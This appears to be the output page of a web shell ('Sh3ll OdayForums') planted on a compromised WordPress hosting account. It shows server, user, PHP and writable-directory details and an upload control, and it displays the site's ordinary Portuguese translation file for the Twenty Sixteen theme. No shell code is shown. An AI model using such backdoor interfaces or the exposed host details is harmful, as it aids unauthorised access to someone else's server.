Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/anfangola.com/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/anfangola.com/wp-content/languages/themes/twentysixteen-pt_PT.po
# Translation of Themes - Twenty Sixteen in Portuguese (Portugal)
# This file is distributed under the same license as the Themes - Twenty Sixteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-09-30 09:54:58+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: pt\n"
"Project-Id-Version: Themes - Twenty Sixteen\n"

#. Description of the theme
msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere."
msgstr "O Twenty Sixteen é uma perspectiva moderna sobre um design de WordPress muito popular — o cabeçalho horizontal com uma barra lateral opcional, que funciona perfeitamente para blogs e sites. Oferece opções personalizáveis de cores com maravilhosos esquemas de cores por omissão, uma grelha fluída e mobile-first e um acabamento impecável de cada pormenor. O Twenty Sixteen vai fazer o seu site brilhar em qualquer circunstância."

#. Theme Name of the theme
msgid "Twenty Sixteen"
msgstr "Twenty Sixteen"

#: functions.php:204
msgid "Bright Red"
msgstr "Vermelho brilhante"

#: functions.php:199
msgid "Dark Red"
msgstr "Vermelho escuro"

#: functions.php:194
msgid "Medium Brown"
msgstr "Castanho médio"

#: functions.php:189
msgid "Dark Brown"
msgstr "Castanho escuro"

#: functions.php:184
msgid "Light Blue"
msgstr "Azul claro"

#: functions.php:179
msgid "Bright Blue"
msgstr "Azul brilhante"

#: functions.php:174
msgid "Blue Gray"
msgstr "Cinzento azulado"

#: functions.php:169
msgid "White"
msgstr "Branco"

#: functions.php:164
msgid "Light Gray"
msgstr "Cinzento claro"

#: functions.php:159
msgid "Medium Gray"
msgstr "Cinzento médio"

#: functions.php:154
msgid "Dark Gray"
msgstr "Cinzento escuro"

#. translators: %s: Post title.
#: template-parts/content.php:29 inc/template-tags.php:195
msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Continuar a ler<span class=\"screen-reader-text\"> \"%s\"</span>"

#. translators: %s: Post title.
#: image.php:88 template-parts/content-page.php:39
#: template-parts/content.php:53 template-parts/content-search.php:28
#: template-parts/content-search.php:43 template-parts/content-single.php:47
msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>"
msgstr "Editar<span class=\"screen-reader-text\"> \"%s\"</span>"

#: inc/customizer.php:347
msgid "Red"
msgstr "Vermelho"

#. translators: %s: Post title.
#: comments.php:31
msgctxt "comments title"
msgid "One thought on &ldquo;%s&rdquo;"
msgstr "Um comentário em &ldquo;%s&rdquo;"

#: searchform.php:16
msgctxt "submit button"
msgid "Search"
msgstr "Pesquisar"

#: searchform.php:14
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "Pesquisar &hellip;"

#: searchform.php:13
msgctxt "label"
msgid "Search for:"
msgstr "Pesquisar por:"

#: footer.php:30
msgid "Footer Social Links Menu"
msgstr "Menu de ligações sociais no rodapé"

#: footer.php:17
msgid "Footer Primary Menu"
msgstr "Menu principal do rodapé"

#: functions.php:269
msgid "Add widgets here to appear in your sidebar."
msgstr "Adicione aqui widgets para aparecerem na barra lateral."

#: template-parts/content.php:14
msgid "Featured"
msgstr "Em destaque"

#: template-parts/content-none.php:33
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Parece que não foi possível encontrar o que procurava. Talvez uma pesquisa ajude."

#: template-parts/content-none.php:28
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Lamentamos, não existem resultados para a sua pesquisa. Tente novamente com palavras chave diferentes."

#. translators: %s: Post editor URL.
#: template-parts/content-none.php:22
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "A postos para publicar o seu primeiro artigo? <a href=\"%1$s\">Comece aqui</a>."

#: template-parts/content-none.php:13
msgid "Nothing Found"
msgstr "Não foi encontrado nada"

#. translators: %s: The post author display name.
#: template-parts/biography.php:35
msgid "View all posts by %s"
msgstr "Ver todos os artigos de %s"

#: template-parts/biography.php:28
msgid "Author:"
msgstr "Autor:"

#: single.php:42
msgid "Previous post:"
msgstr "Artigo anterior:"

#: single.php:41
msgid "Previous"
msgstr "Anterior"

#: single.php:39
msgid "Next post:"
msgstr "Artigo seguinte:"

#: single.php:38
msgid "Next"
msgstr "Seguinte"

#. translators: %s: The search query.
#: search.php:21
msgid "Search Results for: %s"
msgstr "Resultados da pesquisa por: %s"

#: inc/template-tags.php:113
msgctxt "Used before tag names."
msgid "Tags"
msgstr "Etiquetas"

#: inc/template-tags.php:104
msgctxt "Used before category names."
msgid "Categories"
msgstr "Categorias"

#: inc/template-tags.php:100 inc/template-tags.php:109
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:84
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "Publicado em"

#. translators: %s: Post title.
#: inc/template-tags.php:53
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "Deixe um comentário<span class=\"screen-reader-text\"> sobre %s</span>"

#: inc/template-tags.php:40
msgctxt "Used before post format."
msgid "Format"
msgstr "Formato"

#: inc/template-tags.php:26
msgctxt "Used before post author name."
msgid "Author"
msgstr "Autor"

#: functions.php:209 inc/customizer.php:357
msgid "Yellow"
msgstr "Amarelo"

#: inc/customizer.php:337
msgid "Gray"
msgstr "Cinzento"

#: inc/customizer.php:327
msgid "Dark"
msgstr "Escuro"

#: inc/customizer.php:317
msgid "Default"
msgstr "Por omissão"

#: inc/customizer.php:242
msgid "Secondary Text Color"
msgstr "Cor de texto secundária"

#: inc/customizer.php:221
msgid "Main Text Color"
msgstr "Cor de texto principal"

#: inc/customizer.php:200
msgid "Link Color"
msgstr "Cor das ligações"

#: inc/customizer.php:176
msgid "Page Background Color"
msgstr "Cor do fundo da página"

#: inc/customizer.php:153
msgid "Base Color Scheme"
msgstr "Paleta de cores base"

#. translators: %s: The current WordPress version.
#: inc/back-compat.php:42 inc/back-compat.php:56 inc/back-compat.php:75
msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again."
msgstr "O Twenty Sixteen requer a versão 4.4 do WordPress, no mínimo. Está a usar a versão %s. Por favor actualize e tente novamente."

#: single.php:31 image.php:107
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">Publicado em</span><span class=\"post-title\">%title</span>"

#: image.php:77
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Tamanho real"

#: image.php:58 template-parts/content-page.php:24
#: template-parts/content.php:36 template-parts/content-single.php:26
msgid "Pages:"
msgstr "Páginas:"

#: image.php:26
msgid "Next Image"
msgstr "Imagem seguinte"

#: image.php:25
msgid "Previous Image"
msgstr "Imagem anterior"

#: header.php:50
msgid "Menu"
msgstr "Menu"

#: header.php:28
msgid "Skip to content"
msgstr "Saltar para o conteúdo"

#: functions.php:420
msgid "collapse child menu"
msgstr "fechar submenu"

#: functions.php:419
msgid "expand child menu"
msgstr "expandir submenu"

#: functions.php:338
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "on"

#: functions.php:330
msgctxt "Montserrat font: on or off"
msgid "on"
msgstr "on"

#: functions.php:322
msgctxt "Merriweather font: on or off"
msgid "on"
msgstr "on"

#: functions.php:291
msgid "Content Bottom 2"
msgstr "Rodapé de conteúdo 2"

#: functions.php:281 functions.php:293
msgid "Appears at the bottom of the content on posts and pages."
msgstr "Aparece no depois do conteúdo de um artigo ou página."

#: functions.php:279
msgid "Content Bottom 1"
msgstr "Rodapé de conteúdo 1"

#: functions.php:267
msgid "Sidebar"
msgstr "Barra lateral"

#: functions.php:93 header.php:67
msgid "Social Links Menu"
msgstr "Menu de links sociais"

#: functions.php:92 header.php:54
msgid "Primary Menu"
msgstr "Menu principal"

#. translators: %s: WordPress
#: footer.php:63
msgid "Proudly powered by %s"
msgstr "Criado com %s"

#: comments.php:71
msgid "Comments are closed."
msgstr "Os comentários estão encerrados."

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:35
msgctxt "comments title"
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s comentário em &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s comentários em &ldquo;%2$s&rdquo;"

#: image.php:62 template-parts/content-page.php:28
#: template-parts/content.php:40 template-parts/content-single.php:30
#: search.php:46 archive.php:54 index.php:51
msgid "Page"
msgstr "Página"

#: search.php:45 archive.php:53 index.php:50
msgid "Next page"
msgstr "Página seguinte"

#: search.php:44 archive.php:52 index.php:49
msgid "Previous page"
msgstr "Página anterior"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Parece que nada foi encontrado neste sítio. Talvez uma pesquisa ajude."

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "Ups! Não foi possível encontrar essa página."

#. Author of the theme
msgid "the WordPress team"
msgstr "a equipa do WordPress"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentysixteen/"
msgstr "https://wordpress.org/themes/twentysixteen/"

#. Author URI of the theme
#: footer.php:60
msgid "https://wordpress.org/"
msgstr "https://pt.wordpress.org/"

ZeroDay Forums Mini